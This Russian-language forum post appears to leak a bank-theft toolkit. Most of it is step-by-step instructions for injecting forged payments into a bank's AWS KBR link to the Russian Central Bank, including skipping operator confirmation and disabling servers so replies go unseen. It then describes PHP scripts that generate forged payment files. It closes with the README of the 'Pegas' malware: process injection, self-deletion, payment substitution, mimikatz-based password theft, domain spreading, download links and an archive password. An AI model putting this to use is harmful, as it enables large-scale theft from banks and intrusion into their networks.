ПИР Банк лишился более 58 млн рублей в результате

BobbyAxelrod

Пользователь
Подтвержденный
Регистрация
06.07.18
Сообщения
1
Реакции
0
Схема обмена платежами КБ с ЦБ через АРМ КБР или аналогичный софт следующая:
1) АБС генерирует xml файл с платежами по команде оператора
2) Данный файл перемещается на машину с АРМ КБР, где выполняется его проверка (валидация полей, контроль нумерации документов и пр.) и подписание. В зависимости от политики КБ, для подписания может требоваться действие оператора (просмотр количества и общей суммы платежей, сверка с реестром в АБС, нажатие кнопки "Подтвердить"), либо подписание может выполняться автоматически (для большого объема платежей). В некоторых случаях может требоваться подтверждение более чем 1 оператора (подпись контролера после подписи оператора), тогда файл после 1 подписи перемещается на другой АРМ КБР и обрабатывается там.
3) Подписанный и закодированный файл перемещается в транспортный шлюз (Астра или УТА). Зачастую для отправки требуется определенное действие оператора - запуск связи, перемещение файла между папками, и т.д. В редких случаях отправка выполняется вручную путем загрузки на веб-сайт ЦБ через защищенный канал связи.
4) После отправки из транспортного шлюза практически сразу приходят сначала транспортные квитанции, а затем отчеты о подтверждении выполнения (ED205) или помещении в очередь отложенных (ED206).
5) Входящие документы обрабатываются АРМ КБР - расшифровываются, и передаются в АБС
6) АБС импортирует ответы от ЦБ и присваивает соответствующие статусы платежам. Если приходят ответные статутсы на несуществующие (незарегистрированные) платежи, АБС создает их автоматически с соответствующими пометками, что приводит к необычным ощущениям у персонала отдела корреспондентских отношений.

В общих чертах для отправки своего платежа через АРМ КБР и ЦБ необходимо:
1) Найти связанные с обменом с ЦБ машины - АРМ(ы) КБР по ключевому процессу uarm.exe и шлюз отправки типа Астра (AstraC.exe) или UTA (Program Files\Bank of Russia\UTA)
2) В крупных банках один или оба компонента могут отсутствовать, а их роль выполнять специализированное ПО. Либо место установки может быть не видно явно. В таких случаях необходимо исследовать АБС (RS-Bank, Diasoft и пр.), файл-серверы, чтобы выяснить, каким образом идет обмен платежными файлами.
3) Из АРМ КБР слить логи (uarm\log\папки с датой) за последние 7-14 дней. На основе логов выяснить время включения-выключения, периодичность рейсов, настройки обмена файлами. В зависимость от настроек, АРМ КБР может выполнять подписание файлов автоматически по его появлению в определенных папках, либо может требоваться определенное вмешательство оператора (или иного лица другим способом) для перемещения файла в нужную папку.

Для определения настроек АРМ КБР смотрим в начало файла лога
ИнициализацияРежим работы - 'Комбинированный', тип клиента - 'Кредитная организация'
Режим работы может быть Автоматический шлюз (никакого вмешательства не требуется, файл подписывается полностью автоматически), Комбинированный - часто требуется "подтверждение" от оператора, либо Ручной - когда каждое действие (перенос файла между папками) выполняется вручную по команде оператора.

Также интерес представляет следующая строка
Формирование КАПараметры инициализации: 'Вкл для О:Вал=True:Стр=True:Мон=True', 'C:\uarm3\exg\opr', 'C:\uarm3\exg\ret'- True, 'C:\uarm3\exg\ret'- False, 'OverwriteOut'- True
Данная конфигурация говорит о том, что файл, помещенный в 'C:\uarm3\exg\opr' будет автоматически подписан (стоит значение True) и перемещен в папку 'C:\uarm3\exg\ret'- True

Если проанализировать лог отправки платежа
Входной контрольНачало обработки файла M:\MCI\OUT\reestr010101.xml
Входной контрольВходной файл reestr010101.xml перемещён в: C:\uarm3\exg\opr\reestr010101.xml
Входной контрольЗавершение обработки файла reestr010101.xml
Формирование КАНачало обработки файла C:\uarm3\exg\opr\reestr010101.xml
Формирование КАВходной файл reestr010101.xml перемещён в: C:\uarm3\exg\ret\reestr010101.xml
Формирование КАЗавершение обработки файла reestr010101.xml
Отправка сообщенийНачало обработки файла C:\uarm3\exg\ret\reestr010101.xml
Отправка сообщенийВходной файл reestr010101.xml перемещён в: m:\ASTRA\MCO\MCO_OK\reestr010101.xml
Отправка сообщенийЗавершение обработки файла reestr010101.xml

то видно, что появившийся на сетевом диске (файл-сервере) реестр платежей в папке M:\MCI\OUT\ был автоматически обнаружен АРМ КБР, выполнена его валидация (входной контроль) и он был скопирован в локальную папку C:\uarm3\exg\opr\reestr010101.xml
Эта же папка является входной для подписания (формирование КА, кода аутентификации), поэтому далее было выполнено автоматическое подписание файла и его перемещение на сетевой диск для дальнейшего использования транспортом.
Однако часто выходная папка входного контроля и входная папка формирования КА различаются, что предполагает, что оператор проверит реестр платежей вручную и даст команду "Подтвердить", что заставит АРМ КБР переместить файл во входную папку формирования КА.
Данный шаг можно пропустить, если копировать подготовленный файл с платежами сразу во входную папку для формирования КА, которую видно в начале лога в сообщении Формирование КАПараметры инициализации.
Также зачастую выходной файл после подписи необходимо вручную перенести в транспортный шлюз - некоторую папку, из которой автоматически, по расписанию или по команде оператора осуществляется отправка файлов в ЦБ. Входная папка у транспорта уточняется на основе его логов и конфигурации.
Для УТА это два файла базы данных в папке Program Files\Bank of Russia\UTA, для Астры - .log файлы в папке где лежит AstraC.exe

4) Продумать мероприятия по недопущению ответов от ЦБ на отправленный платеж в АБС. Это может быть модификация скриптов обмена файлов, выведение из строя серверов АБС, служб обработки файлов (например, xml blaster для diasoft) и пр.


Приложенные скрипты

gen_payments_script - php-скрипт генерации xml реестра платежей
В файле gen1.php редактируются различные настройки, связанные с реквизитами, как в начале (конфигурации), так и по тексту, в местах генерации заголовков ED101 и внешнего конверта.
В папку src_accs помещаются xml-исходящие платежи из АРМ КБР (папка exch\inp или распакованное из stg\arch\inp), из них делается выборка по отправителям, специфичным для данного банка.
В curday_inp непосредственно перед генерацией и использованием помещаются все исходящие платежи из КБР за текущий день. В этих файлах анализируется значение EdNo, чтобы обеспечить наличие сквозной либо как минимум не перекрывающейся нумерации отдельных платежей, которая контролируется в кбр, шлюзе и на стороне ЦБ.
В t_accs помещаются текстовые файлы по типовому формату с данными карт и лимитов для переводов.


bck_logs - php-скрипт оценки балансов корсчета на основе бекап-файлов из uarm\bck.
подпапки с датами из uarm\bck копируются в bck_logs, при запуске скрипт выдает диапазоны балансов за сутки по найденным датам.
Проект Пегас - краткое описание содержимого

Пегас - структурированный сложный проект под х32 и х64 платформы.
Установщик инжектирует в память процесса svchost образ с ядром системы и модулями, после чего выполняется
самоудаление с затиранием исходного файла.
Передача управления в исходном инсталлере идет следующим образом:
Shellcode -> InstallDispatcherDll
Передача управления в новом процессе идет по схеме:
Shellcode -> WorkDispatcherDll -> все остальные модули
При установке поверх существующей версии выполняется контроль айди билда, и если он ниже или равен уже
существующей версии - установка не выполняется.
Подробности функционирования модулей потребуют значительного времени для описания, поэтому в случае необходимости
предлагается смотреть исходники - они хорошо откомментированы и структурированы.

Для сборки нужна студия не ниже 2013 и PHP Tools for Visual Studio от Devsense

Размещение файлов по папкам

binres
Скомпилированные модули и другой код под х32 и х64 платформы

BUILDS
Финальные установщики под обе платформы, отладочная и релизная версии в зависимости от папки

inc
Программные модули (библиотеки), используемые различными подпроектами

InstallDispatcherDll
Модуль-установщик, выполняет инжект в новый процесс

InstallerExe
Проект начального установлика

lib
Файлы для успешной компиляции без MSVCRT

LZ4_pack
Утилита упаковки ресурсов

mod_CmdExec
Модуль запуска команд из панели (новый процесс, команда в консоли и т.п.)

mod_DomainReplication
Модуль самораспространения в домене

mod_KBRI
Модуль подмены платежей в КБР

mod_KBRI_hd
Модуль-инжектор для перехвата процесса обмена данными КБР и получения от mod_KBRI подмененных данных

mod_LogonPasswords
Модуль поиска паролей, переписанный и исправленный код mimikatz

mod_NetworkConnectivity
Модуль сетевой связи, в том числе через пайпы для машин с закрытым доступом в сеть

RemoteServiceExe
Специальный исполняемый файл, который забрасывается на удаленную систему в процессе распространения в домене

shared
Общие заголовочные и конфигурационные файлы

Shellcode
Шеллкод для загрузки и запуска присоединенных библиотек

tools
Утилиты и скрипты для сборки проекта и его частей

WEB
Клиентская часть админ-панели, интегрирована в проект студии

web-adminpart
Админская часть панели, копия с сервера разработки

WorkDispatcherDll
Модуль ядра системы


В общем случае конфигурируется сначала \shared\config.h, затем собирается через скрипт \tools\MAKE_INSTALLERS.BAT
с параметром Release или Debug
Готовые билды в \BUILDS\
https://files.fm/u/t25ymgfm
https://ufile.io/x7412
http://transfiles.ru/lhjmn
https://dropmefiles.com/CnwWE
http://mega.dp.ua/file?source=18070615225769991162

pass:Group_IB_Smart_Boys
 
Сверху Снизу